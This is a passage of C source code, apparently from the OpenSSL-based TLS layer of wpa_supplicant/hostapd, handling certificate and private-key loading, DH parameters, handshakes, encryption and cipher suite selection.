wpa_printf(MSG_DEBUG, "OpenSSL: %s - ignoring " "cert already in hash table error", __func__); } else ret = -1; } return ret; } #endif /* OPENSSL_NO_STDIO */ static int tls_connection_ca_cert(void *_ssl_ctx, struct tls_connection *conn, const char *ca_cert, const u8 *ca_cert_blob, size_t ca_cert_blob_len, const char *ca_path) { SSL_CTX *ssl_ctx = _ssl_ctx; /* * Remove previously configured trusted CA certificates before adding * new ones. */ X509_STORE_free(ssl_ctx->cert_store); ssl_ctx->cert_store = X509_STORE_new(); if (ssl_ctx->cert_store == NULL) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - failed to allocate new " "certificate store", __func__); return -1; } SSL_set_verify(conn->ssl, SSL_VERIFY_PEER, tls_verify_cb); conn->ca_cert_verify = 1; if (ca_cert && os_strncmp(ca_cert, "probe://", 8) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Probe for server certificate " "chain"); conn->cert_probe = 1; conn->ca_cert_verify = 0; return 0; } if (ca_cert && os_strncmp(ca_cert, "hash://", 7) == 0) { #ifdef CONFIG_SHA256 const char *pos = ca_cert + 7; if (os_strncmp(pos, "server/sha256/", 14) != 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Unsupported ca_cert " "hash value '%s'", ca_cert); return -1; } pos += 14; if (os_strlen(pos) != 32 * 2) { wpa_printf(MSG_DEBUG, "OpenSSL: Unexpected SHA256 " "hash length in ca_cert '%s'", ca_cert); return -1; } if (hexstr2bin(pos, conn->srv_cert_hash, 32) < 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Invalid SHA256 hash " "value in ca_cert '%s'", ca_cert); return -1; } conn->server_cert_only = 1; wpa_printf(MSG_DEBUG, "OpenSSL: Checking only server " "certificate match"); return 0; #else /* CONFIG_SHA256 */ wpa_printf(MSG_INFO, "No SHA256 included in the build - " "cannot validate server certificate hash"); return -1; #endif /* CONFIG_SHA256 */ } if (ca_cert_blob) { X509 *cert = d2i_X509(NULL, (OPENSSL_d2i_TYPE) &ca_cert_blob, ca_cert_blob_len); if (cert == NULL) { tls_show_errors(MSG_WARNING, __func__, "Failed to parse ca_cert_blob"); return -1; } if (!X509_STORE_add_cert(ssl_ctx->cert_store, cert)) { unsigned long err = ERR_peek_error(); tls_show_errors(MSG_WARNING, __func__, "Failed to add ca_cert_blob to " "certificate store"); if (ERR_GET_LIB(err) == ERR_LIB_X509 && ERR_GET_REASON(err) == X509_R_CERT_ALREADY_IN_HASH_TABLE) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - ignoring " "cert already in hash table error", __func__); } else { X509_free(cert); return -1; } } X509_free(cert); wpa_printf(MSG_DEBUG, "OpenSSL: %s - added ca_cert_blob " "to certificate store", __func__); return 0; } #ifdef CONFIG_NATIVE_WINDOWS if (ca_cert && tls_cryptoapi_ca_cert(ssl_ctx, conn->ssl, ca_cert) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Added CA certificates from " "system certificate store"); return 0; } #endif /* CONFIG_NATIVE_WINDOWS */ if (ca_cert || ca_path) { #ifndef OPENSSL_NO_STDIO if (SSL_CTX_load_verify_locations(ssl_ctx, ca_cert, ca_path) != 1) { tls_show_errors(MSG_WARNING, __func__, "Failed to load root certificates"); if (ca_cert && tls_load_ca_der(ssl_ctx, ca_cert) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - loaded " "DER format CA certificate", __func__); } else return -1; } else { wpa_printf(MSG_DEBUG, "TLS: Trusted root " "certificate(s) loaded"); tls_get_errors(ssl_ctx); } #else /* OPENSSL_NO_STDIO */ wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__); return -1; #endif /* OPENSSL_NO_STDIO */ } else { /* No ca_cert configured - do not try to verify server * certificate */ conn->ca_cert_verify = 0; } return 0; } static int tls_global_ca_cert(SSL_CTX *ssl_ctx, const char *ca_cert) { if (ca_cert) { if (SSL_CTX_load_verify_locations(ssl_ctx, ca_cert, NULL) != 1) { tls_show_errors(MSG_WARNING, __func__, "Failed to load root certificates"); return -1; } wpa_printf(MSG_DEBUG, "TLS: Trusted root " "certificate(s) loaded"); #ifndef OPENSSL_NO_STDIO /* Add the same CAs to the client certificate requests */ SSL_CTX_set_client_CA_list(ssl_ctx, SSL_load_client_CA_file(ca_cert)); #endif /* OPENSSL_NO_STDIO */ } return 0; } int tls_global_set_verify(void *ssl_ctx, int check_crl) { int flags; if (check_crl) { X509_STORE *cs = SSL_CTX_get_cert_store(ssl_ctx); if (cs == NULL) { tls_show_errors(MSG_INFO, __func__, "Failed to get " "certificate store when enabling " "check_crl"); return -1; } flags = X509_V_FLAG_CRL_CHECK; if (check_crl == 2) flags |= X509_V_FLAG_CRL_CHECK_ALL; X509_STORE_set_flags(cs, flags); } return 0; } static int tls_connection_set_subject_match(struct tls_connection *conn, const char *subject_match, const char *altsubject_match) { os_free(conn->subject_match); conn->subject_match = NULL; if (subject_match) { conn->subject_match = os_strdup(subject_match); if (conn->subject_match == NULL) return -1; } os_free(conn->altsubject_match); conn->altsubject_match = NULL; if (altsubject_match) { conn->altsubject_match = os_strdup(altsubject_match); if (conn->altsubject_match == NULL) return -1; } return 0; } int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn, int verify_peer) { static int counter = 0; if (conn == NULL) return -1; if (verify_peer) { conn->ca_cert_verify = 1; SSL_set_verify(conn->ssl, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT | SSL_VERIFY_CLIENT_ONCE, tls_verify_cb); } else { conn->ca_cert_verify = 0; SSL_set_verify(conn->ssl, SSL_VERIFY_NONE, NULL); } SSL_set_accept_state(conn->ssl); /* * Set session id context in order to avoid fatal errors when client * tries to resume a session. However, set the context to a unique * value in order to effectively disable session resumption for now * since not all areas of the server code are ready for it (e.g., * EAP-TTLS needs special handling for Phase 2 after abbreviated TLS * handshake). */ counter++; SSL_set_session_id_context(conn->ssl, (const unsigned char *) &counter, sizeof(counter)); return 0; } static int tls_connection_client_cert(struct tls_connection *conn, const char *client_cert, const u8 *client_cert_blob, size_t client_cert_blob_len) { if (client_cert == NULL && client_cert_blob == NULL) return 0; if (client_cert_blob && SSL_use_certificate_ASN1(conn->ssl, (u8 *) client_cert_blob, client_cert_blob_len) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_certificate_ASN1 --> " "OK"); return 0; } else if (client_cert_blob) { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_certificate_ASN1 failed"); } if (client_cert == NULL) return -1; #ifndef OPENSSL_NO_STDIO if (SSL_use_certificate_file(conn->ssl, client_cert, SSL_FILETYPE_ASN1) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_certificate_file (DER)" " --> OK"); return 0; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_certificate_file (DER) failed"); } if (SSL_use_certificate_file(conn->ssl, client_cert, SSL_FILETYPE_PEM) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_certificate_file (PEM)" " --> OK"); return 0; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_certificate_file (PEM) failed"); } #else /* OPENSSL_NO_STDIO */ wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__); #endif /* OPENSSL_NO_STDIO */ return -1; } static int tls_global_client_cert(SSL_CTX *ssl_ctx, const char *client_cert) { #ifndef OPENSSL_NO_STDIO if (client_cert == NULL) return 0; if (SSL_CTX_use_certificate_file(ssl_ctx, client_cert, SSL_FILETYPE_ASN1) != 1 && SSL_CTX_use_certificate_file(ssl_ctx, client_cert, SSL_FILETYPE_PEM) != 1) { tls_show_errors(MSG_INFO, __func__, "Failed to load client certificate"); return -1; } return 0; #else /* OPENSSL_NO_STDIO */ if (client_cert == NULL) return 0; wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__); return -1; #endif /* OPENSSL_NO_STDIO */ } static int tls_passwd_cb(char *buf, int size, int rwflag, void *password) { if (password == NULL) { return 0; } os_strlcpy(buf, (char *) password, size); return os_strlen(buf); } #ifdef PKCS12_FUNCS static int tls_parse_pkcs12(SSL_CTX *ssl_ctx, SSL *ssl, PKCS12 *p12, const char *passwd) { EVP_PKEY *pkey; X509 *cert; STACK_OF(X509) *certs; int res = 0; char buf[256]; pkey = NULL; cert = NULL; certs = NULL; if (!PKCS12_parse(p12, passwd, &pkey, &cert, &certs)) { tls_show_errors(MSG_DEBUG, __func__, "Failed to parse PKCS12 file"); PKCS12_free(p12); return -1; } wpa_printf(MSG_DEBUG, "TLS: Successfully parsed PKCS12 data"); if (cert) { X509_NAME_oneline(X509_get_subject_name(cert), buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "TLS: Got certificate from PKCS12: " "subject='%s'", buf); if (ssl) { if (SSL_use_certificate(ssl, cert) != 1) res = -1; } else { if (SSL_CTX_use_certificate(ssl_ctx, cert) != 1) res = -1; } X509_free(cert); } if (pkey) { wpa_printf(MSG_DEBUG, "TLS: Got private key from PKCS12"); if (ssl) { if (SSL_use_PrivateKey(ssl, pkey) != 1) res = -1; } else { if (SSL_CTX_use_PrivateKey(ssl_ctx, pkey) != 1) res = -1; } EVP_PKEY_free(pkey); } if (certs) { while ((cert = sk_X509_pop(certs)) != NULL) { X509_NAME_oneline(X509_get_subject_name(cert), buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "TLS: additional certificate" " from PKCS12: subject='%s'", buf); /* * There is no SSL equivalent for the chain cert - so * always add it to the context... */ if (SSL_CTX_add_extra_chain_cert(ssl_ctx, cert) != 1) { res = -1; break; } } sk_X509_free(certs); } PKCS12_free(p12); if (res < 0) tls_get_errors(ssl_ctx); return res; } #endif /* PKCS12_FUNCS */ static int tls_read_pkcs12(SSL_CTX *ssl_ctx, SSL *ssl, const char *private_key, const char *passwd) { #ifdef PKCS12_FUNCS FILE *f; PKCS12 *p12; f = fopen(private_key, "rb"); if (f == NULL) return -1; p12 = d2i_PKCS12_fp(f, NULL); fclose(f); if (p12 == NULL) { tls_show_errors(MSG_INFO, __func__, "Failed to use PKCS#12 file"); return -1; } return tls_parse_pkcs12(ssl_ctx, ssl, p12, passwd); #else /* PKCS12_FUNCS */ wpa_printf(MSG_INFO, "TLS: PKCS12 support disabled - cannot read " "p12/pfx files"); return -1; #endif /* PKCS12_FUNCS */ } static int tls_read_pkcs12_blob(SSL_CTX *ssl_ctx, SSL *ssl, const u8 *blob, size_t len, const char *passwd) { #ifdef PKCS12_FUNCS PKCS12 *p12; p12 = d2i_PKCS12(NULL, (OPENSSL_d2i_TYPE) &blob, len); if (p12 == NULL) { tls_show_errors(MSG_INFO, __func__, "Failed to use PKCS#12 blob"); return -1; } return tls_parse_pkcs12(ssl_ctx, ssl, p12, passwd); #else /* PKCS12_FUNCS */ wpa_printf(MSG_INFO, "TLS: PKCS12 support disabled - cannot parse " "p12/pfx blobs"); return -1; #endif /* PKCS12_FUNCS */ } #ifndef OPENSSL_NO_ENGINE static int tls_engine_get_cert(struct tls_connection *conn, const char *cert_id, X509 **cert) { /* this runs after the private key is loaded so no PIN is required */ struct { const char *cert_id; X509 *cert; } params; params.cert_id = cert_id; params.cert = NULL; if (!ENGINE_ctrl_cmd(conn->engine, "LOAD_CERT_CTRL", 0, ¶ms, NULL, 1)) { wpa_printf(MSG_ERROR, "ENGINE: cannot load client cert with id" " '%s' [%s]", cert_id, ERR_error_string(ERR_get_error(), NULL)); return TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; } if (!params.cert) { wpa_printf(MSG_ERROR, "ENGINE: did not properly cert with id" " '%s'", cert_id); return TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; } *cert = params.cert; return 0; } #endif /* OPENSSL_NO_ENGINE */ static int tls_connection_engine_client_cert(struct tls_connection *conn, const char *cert_id) { #ifndef OPENSSL_NO_ENGINE X509 *cert; if (tls_engine_get_cert(conn, cert_id, &cert)) return -1; if (!SSL_use_certificate(conn->ssl, cert)) { tls_show_errors(MSG_ERROR, __func__, "SSL_use_certificate failed"); X509_free(cert); return -1; } X509_free(cert); wpa_printf(MSG_DEBUG, "ENGINE: SSL_use_certificate --> " "OK"); return 0; #else /* OPENSSL_NO_ENGINE */ return -1; #endif /* OPENSSL_NO_ENGINE */ } static int tls_connection_engine_ca_cert(void *_ssl_ctx, struct tls_connection *conn, const char *ca_cert_id) { #ifndef OPENSSL_NO_ENGINE X509 *cert; SSL_CTX *ssl_ctx = _ssl_ctx; if (tls_engine_get_cert(conn, ca_cert_id, &cert)) return -1; /* start off the same as tls_connection_ca_cert */ X509_STORE_free(ssl_ctx->cert_store); ssl_ctx->cert_store = X509_STORE_new(); if (ssl_ctx->cert_store == NULL) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - failed to allocate new " "certificate store", __func__); X509_free(cert); return -1; } if (!X509_STORE_add_cert(ssl_ctx->cert_store, cert)) { unsigned long err = ERR_peek_error(); tls_show_errors(MSG_WARNING, __func__, "Failed to add CA certificate from engine " "to certificate store"); if (ERR_GET_LIB(err) == ERR_LIB_X509 && ERR_GET_REASON(err) == X509_R_CERT_ALREADY_IN_HASH_TABLE) { wpa_printf(MSG_DEBUG, "OpenSSL: %s - ignoring cert" " already in hash table error", __func__); } else { X509_free(cert); return -1; } } X509_free(cert); wpa_printf(MSG_DEBUG, "OpenSSL: %s - added CA certificate from engine " "to certificate store", __func__); SSL_set_verify(conn->ssl, SSL_VERIFY_PEER, tls_verify_cb); return 0; #else /* OPENSSL_NO_ENGINE */ return -1; #endif /* OPENSSL_NO_ENGINE */ } static int tls_connection_engine_private_key(struct tls_connection *conn) { #ifndef OPENSSL_NO_ENGINE if (SSL_use_PrivateKey(conn->ssl, conn->private_key) != 1) { tls_show_errors(MSG_ERROR, __func__, "ENGINE: cannot use private key for TLS"); return -1; } if (!SSL_check_private_key(conn->ssl)) { tls_show_errors(MSG_INFO, __func__, "Private key failed verification"); return -1; } return 0; #else /* OPENSSL_NO_ENGINE */ wpa_printf(MSG_ERROR, "SSL: Configuration uses engine, but " "engine support was not compiled in"); return -1; #endif /* OPENSSL_NO_ENGINE */ } static int tls_connection_private_key(void *_ssl_ctx, struct tls_connection *conn, const char *private_key, const char *private_key_passwd, const u8 *private_key_blob, size_t private_key_blob_len) { SSL_CTX *ssl_ctx = _ssl_ctx; char *passwd; int ok; if (private_key == NULL && private_key_blob == NULL) return 0; if (private_key_passwd) { passwd = os_strdup(private_key_passwd); if (passwd == NULL) return -1; } else passwd = NULL; SSL_CTX_set_default_passwd_cb(ssl_ctx, tls_passwd_cb); SSL_CTX_set_default_passwd_cb_userdata(ssl_ctx, passwd); ok = 0; while (private_key_blob) { if (SSL_use_PrivateKey_ASN1(EVP_PKEY_RSA, conn->ssl, (u8 *) private_key_blob, private_key_blob_len) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_PrivateKey_" "ASN1(EVP_PKEY_RSA) --> OK"); ok = 1; break; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_PrivateKey_ASN1(EVP_PKEY_RSA)" " failed"); } if (SSL_use_PrivateKey_ASN1(EVP_PKEY_DSA, conn->ssl, (u8 *) private_key_blob, private_key_blob_len) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: SSL_use_PrivateKey_" "ASN1(EVP_PKEY_DSA) --> OK"); ok = 1; break; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_PrivateKey_ASN1(EVP_PKEY_DSA)" " failed"); } if (SSL_use_RSAPrivateKey_ASN1(conn->ssl, (u8 *) private_key_blob, private_key_blob_len) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: " "SSL_use_RSAPrivateKey_ASN1 --> OK"); ok = 1; break; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_RSAPrivateKey_ASN1 failed"); } if (tls_read_pkcs12_blob(ssl_ctx, conn->ssl, private_key_blob, private_key_blob_len, passwd) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: PKCS#12 as blob --> " "OK"); ok = 1; break; } break; } while (!ok && private_key) { #ifndef OPENSSL_NO_STDIO if (SSL_use_PrivateKey_file(conn->ssl, private_key, SSL_FILETYPE_ASN1) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: " "SSL_use_PrivateKey_File (DER) --> OK"); ok = 1; break; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_PrivateKey_File (DER) " "failed"); } if (SSL_use_PrivateKey_file(conn->ssl, private_key, SSL_FILETYPE_PEM) == 1) { wpa_printf(MSG_DEBUG, "OpenSSL: " "SSL_use_PrivateKey_File (PEM) --> OK"); ok = 1; break; } else { tls_show_errors(MSG_DEBUG, __func__, "SSL_use_PrivateKey_File (PEM) " "failed"); } #else /* OPENSSL_NO_STDIO */ wpa_printf(MSG_DEBUG, "OpenSSL: %s - OPENSSL_NO_STDIO", __func__); #endif /* OPENSSL_NO_STDIO */ if (tls_read_pkcs12(ssl_ctx, conn->ssl, private_key, passwd) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Reading PKCS#12 file " "--> OK"); ok = 1; break; } if (tls_cryptoapi_cert(conn->ssl, private_key) == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Using CryptoAPI to " "access certificate store --> OK"); ok = 1; break; } break; } if (!ok) { wpa_printf(MSG_INFO, "OpenSSL: Failed to load private key"); os_free(passwd); ERR_clear_error(); return -1; } ERR_clear_error(); SSL_CTX_set_default_passwd_cb(ssl_ctx, NULL); os_free(passwd); if (!SSL_check_private_key(conn->ssl)) { tls_show_errors(MSG_INFO, __func__, "Private key failed " "verification"); return -1; } wpa_printf(MSG_DEBUG, "SSL: Private key loaded successfully"); return 0; } static int tls_global_private_key(SSL_CTX *ssl_ctx, const char *private_key, const char *private_key_passwd) { char *passwd; if (private_key == NULL) return 0; if (private_key_passwd) { passwd = os_strdup(private_key_passwd); if (passwd == NULL) return -1; } else passwd = NULL; SSL_CTX_set_default_passwd_cb(ssl_ctx, tls_passwd_cb); SSL_CTX_set_default_passwd_cb_userdata(ssl_ctx, passwd); if ( #ifndef OPENSSL_NO_STDIO SSL_CTX_use_PrivateKey_file(ssl_ctx, private_key, SSL_FILETYPE_ASN1) != 1 && SSL_CTX_use_PrivateKey_file(ssl_ctx, private_key, SSL_FILETYPE_PEM) != 1 && #endif /* OPENSSL_NO_STDIO */ tls_read_pkcs12(ssl_ctx, NULL, private_key, passwd)) { tls_show_errors(MSG_INFO, __func__, "Failed to load private key"); os_free(passwd); ERR_clear_error(); return -1; } os_free(passwd); ERR_clear_error(); SSL_CTX_set_default_passwd_cb(ssl_ctx, NULL); if (!SSL_CTX_check_private_key(ssl_ctx)) { tls_show_errors(MSG_INFO, __func__, "Private key failed verification"); return -1; } return 0; } static int tls_connection_dh(struct tls_connection *conn, const char *dh_file) { #ifdef OPENSSL_NO_DH if (dh_file == NULL) return 0; wpa_printf(MSG_ERROR, "TLS: openssl does not include DH support, but " "dh_file specified"); return -1; #else /* OPENSSL_NO_DH */ DH *dh; BIO *bio; /* TODO: add support for dh_blob */ if (dh_file == NULL) return 0; if (conn == NULL) return -1; bio = BIO_new_file(dh_file, "r"); if (bio == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to open DH file '%s': %s", dh_file, ERR_error_string(ERR_get_error(), NULL)); return -1; } dh = PEM_read_bio_DHparams(bio, NULL, NULL, NULL); BIO_free(bio); #ifndef OPENSSL_NO_DSA while (dh == NULL) { DSA *dsa; wpa_printf(MSG_DEBUG, "TLS: Failed to parse DH file '%s': %s -" " trying to parse as DSA params", dh_file, ERR_error_string(ERR_get_error(), NULL)); bio = BIO_new_file(dh_file, "r"); if (bio == NULL) break; dsa = PEM_read_bio_DSAparams(bio, NULL, NULL, NULL); BIO_free(bio); if (!dsa) { wpa_printf(MSG_DEBUG, "TLS: Failed to parse DSA file " "'%s': %s", dh_file, ERR_error_string(ERR_get_error(), NULL)); break; } wpa_printf(MSG_DEBUG, "TLS: DH file in DSA param format"); dh = DSA_dup_DH(dsa); DSA_free(dsa); if (dh == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to convert DSA " "params into DH params"); break; } break; } #endif /* !OPENSSL_NO_DSA */ if (dh == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to read/parse DH/DSA file " "'%s'", dh_file); return -1; } if (SSL_set_tmp_dh(conn->ssl, dh) != 1) { wpa_printf(MSG_INFO, "TLS: Failed to set DH params from '%s': " "%s", dh_file, ERR_error_string(ERR_get_error(), NULL)); DH_free(dh); return -1; } DH_free(dh); return 0; #endif /* OPENSSL_NO_DH */ } static int tls_global_dh(SSL_CTX *ssl_ctx, const char *dh_file) { #ifdef OPENSSL_NO_DH if (dh_file == NULL) return 0; wpa_printf(MSG_ERROR, "TLS: openssl does not include DH support, but " "dh_file specified"); return -1; #else /* OPENSSL_NO_DH */ DH *dh; BIO *bio; /* TODO: add support for dh_blob */ if (dh_file == NULL) return 0; if (ssl_ctx == NULL) return -1; bio = BIO_new_file(dh_file, "r"); if (bio == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to open DH file '%s': %s", dh_file, ERR_error_string(ERR_get_error(), NULL)); return -1; } dh = PEM_read_bio_DHparams(bio, NULL, NULL, NULL); BIO_free(bio); #ifndef OPENSSL_NO_DSA while (dh == NULL) { DSA *dsa; wpa_printf(MSG_DEBUG, "TLS: Failed to parse DH file '%s': %s -" " trying to parse as DSA params", dh_file, ERR_error_string(ERR_get_error(), NULL)); bio = BIO_new_file(dh_file, "r"); if (bio == NULL) break; dsa = PEM_read_bio_DSAparams(bio, NULL, NULL, NULL); BIO_free(bio); if (!dsa) { wpa_printf(MSG_DEBUG, "TLS: Failed to parse DSA file " "'%s': %s", dh_file, ERR_error_string(ERR_get_error(), NULL)); break; } wpa_printf(MSG_DEBUG, "TLS: DH file in DSA param format"); dh = DSA_dup_DH(dsa); DSA_free(dsa); if (dh == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to convert DSA " "params into DH params"); break; } break; } #endif /* !OPENSSL_NO_DSA */ if (dh == NULL) { wpa_printf(MSG_INFO, "TLS: Failed to read/parse DH/DSA file " "'%s'", dh_file); return -1; } if (SSL_CTX_set_tmp_dh(ssl_ctx, dh) != 1) { wpa_printf(MSG_INFO, "TLS: Failed to set DH params from '%s': " "%s", dh_file, ERR_error_string(ERR_get_error(), NULL)); DH_free(dh); return -1; } DH_free(dh); return 0; #endif /* OPENSSL_NO_DH */ } int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn, struct tls_keys *keys) { SSL *ssl; if (conn == NULL || keys == NULL) return -1; ssl = conn->ssl; if (ssl == NULL || ssl->s3 == NULL || ssl->session == NULL) return -1; os_memset(keys, 0, sizeof(*keys)); keys->master_key = ssl->session->master_key; keys->master_key_len = ssl->session->master_key_length; keys->client_random = ssl->s3->client_random; keys->client_random_len = SSL3_RANDOM_SIZE; keys->server_random = ssl->s3->server_random; keys->server_random_len = SSL3_RANDOM_SIZE; return 0; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { return -1; } static struct wpabuf * openssl_handshake(struct tls_connection *conn, const struct wpabuf *in_data, int server) { int res; struct wpabuf *out_data; /* * Give TLS handshake data from the server (if available) to OpenSSL * for processing. */ if (in_data && BIO_write(conn->ssl_in, wpabuf_head(in_data), wpabuf_len(in_data)) < 0) { tls_show_errors(MSG_INFO, __func__, "Handshake failed - BIO_write"); return NULL; } /* Initiate TLS handshake or continue the existing handshake */ if (server) res = SSL_accept(conn->ssl); else res = SSL_connect(conn->ssl); if (res != 1) { int err = SSL_get_error(conn->ssl, res); if (err == SSL_ERROR_WANT_READ) wpa_printf(MSG_DEBUG, "SSL: SSL_connect - want " "more data"); else if (err == SSL_ERROR_WANT_WRITE) wpa_printf(MSG_DEBUG, "SSL: SSL_connect - want to " "write"); else { tls_show_errors(MSG_INFO, __func__, "SSL_connect"); conn->failed++; } } /* Get the TLS handshake data to be sent to the server */ res = BIO_ctrl_pending(conn->ssl_out); wpa_printf(MSG_DEBUG, "SSL: %d bytes pending from ssl_out", res); out_data = wpabuf_alloc(res); if (out_data == NULL) { wpa_printf(MSG_DEBUG, "SSL: Failed to allocate memory for " "handshake output (%d bytes)", res); if (BIO_reset(conn->ssl_out) < 0) { tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); } return NULL; } res = res == 0 ? 0 : BIO_read(conn->ssl_out, wpabuf_mhead(out_data), res); if (res < 0) { tls_show_errors(MSG_INFO, __func__, "Handshake failed - BIO_read"); if (BIO_reset(conn->ssl_out) < 0) { tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); } wpabuf_free(out_data); return NULL; } wpabuf_put(out_data, res); return out_data; } static struct wpabuf * openssl_get_appl_data(struct tls_connection *conn, size_t max_len) { struct wpabuf *appl_data; int res; appl_data = wpabuf_alloc(max_len + 100); if (appl_data == NULL) return NULL; res = SSL_read(conn->ssl, wpabuf_mhead(appl_data), wpabuf_size(appl_data)); if (res < 0) { int err = SSL_get_error(conn->ssl, res); if (err == SSL_ERROR_WANT_READ || err == SSL_ERROR_WANT_WRITE) { wpa_printf(MSG_DEBUG, "SSL: No Application Data " "included"); } else { tls_show_errors(MSG_INFO, __func__, "Failed to read possible " "Application Data"); } wpabuf_free(appl_data); return NULL; } wpabuf_put(appl_data, res); wpa_hexdump_buf_key(MSG_MSGDUMP, "SSL: Application Data in Finished " "message", appl_data); return appl_data; } static struct wpabuf * openssl_connection_handshake(struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data, int server) { struct wpabuf *out_data; if (appl_data) *appl_data = NULL; out_data = openssl_handshake(conn, in_data, server); if (out_data == NULL) return NULL; if (SSL_is_init_finished(conn->ssl) && appl_data && in_data) *appl_data = openssl_get_appl_data(conn, wpabuf_len(in_data)); return out_data; } struct wpabuf * tls_connection_handshake(void *ssl_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return openssl_connection_handshake(conn, in_data, appl_data, 0); } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return openssl_connection_handshake(conn, in_data, appl_data, 1); } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { int res; struct wpabuf *buf; if (conn == NULL) return NULL; /* Give plaintext data for OpenSSL to encrypt into the TLS tunnel. */ if ((res = BIO_reset(conn->ssl_in)) < 0 || (res = BIO_reset(conn->ssl_out)) < 0) { tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); return NULL; } res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data)); if (res < 0) { tls_show_errors(MSG_INFO, __func__, "Encryption failed - SSL_write"); return NULL; } /* Read encrypted data to be sent to the server */ buf = wpabuf_alloc(wpabuf_len(in_data) + 300); if (buf == NULL) return NULL; res = BIO_read(conn->ssl_out, wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { tls_show_errors(MSG_INFO, __func__, "Encryption failed - BIO_read"); wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { int res; struct wpabuf *buf; /* Give encrypted data from TLS tunnel for OpenSSL to decrypt. */ res = BIO_write(conn->ssl_in, wpabuf_head(in_data), wpabuf_len(in_data)); if (res < 0) { tls_show_errors(MSG_INFO, __func__, "Decryption failed - BIO_write"); return NULL; } if (BIO_reset(conn->ssl_out) < 0) { tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); return NULL; } /* Read decrypted data for further processing */ /* * Even though we try to disable TLS compression, it is possible that * this cannot be done with all TLS libraries. Add extra buffer space * to handle the possibility of the decrypted data being longer than * input data. */ buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); if (buf == NULL) return NULL; res = SSL_read(conn->ssl, wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { tls_show_errors(MSG_INFO, __func__, "Decryption failed - SSL_read"); wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn) { return conn ? conn->ssl->hit : 0; } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { char buf[100], *pos, *end; u8 *c; int ret; if (conn == NULL || conn->ssl == NULL || ciphers == NULL) return -1; buf[0] = '\0'; pos = buf; end = pos + sizeof(buf); c = ciphers; while (*c != TLS_CIPHER_NONE) { const char *suite; switch (*c) { case TLS_CIPHER_RC4_SHA: suite = "RC4-SHA"; break; case TLS_CIPHER_AES128_SHA: suite = "AES128-SHA"; break; case TLS_CIPHER_RSA_DHE_AES128_SHA: suite = "DHE-RSA-AES128-SHA"; break; case TLS_CIPHER_ANON_DH_AES128_SHA: suite = "ADH-AES128-SHA"; break; default: wpa_printf(MSG_DEBUG, "TLS: Unsupported " "cipher selection: %d", *c); return -1; } ret = os_snprintf(pos, end - pos, ":%s", suite); if (ret < 0 || ret >= end - pos) break; pos += ret; c++; } wpa_printf(MSG_DEBUG, "OpenSSL: cipher suites: %s", buf + 1); if (SSL_set_cipher_list(conn->ssl, buf + 1) != 1) { tls_show_errors(MSG_INFO, __func__, "Cipher suite configuration failed"); return -1; } return 0; } int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn, char *buf, size_t buflen) { const char *name; if (conn == NULL || conn->ssl == NULL) return -1; name = SSL_get_cipher(conn->ssl); if (name == NULL) return -1; os_strlcpy(buf, name, buflen); return 0; } int tls_connection_enable_workaround(void *ssl_ctx, struct tls_connection *conn) { 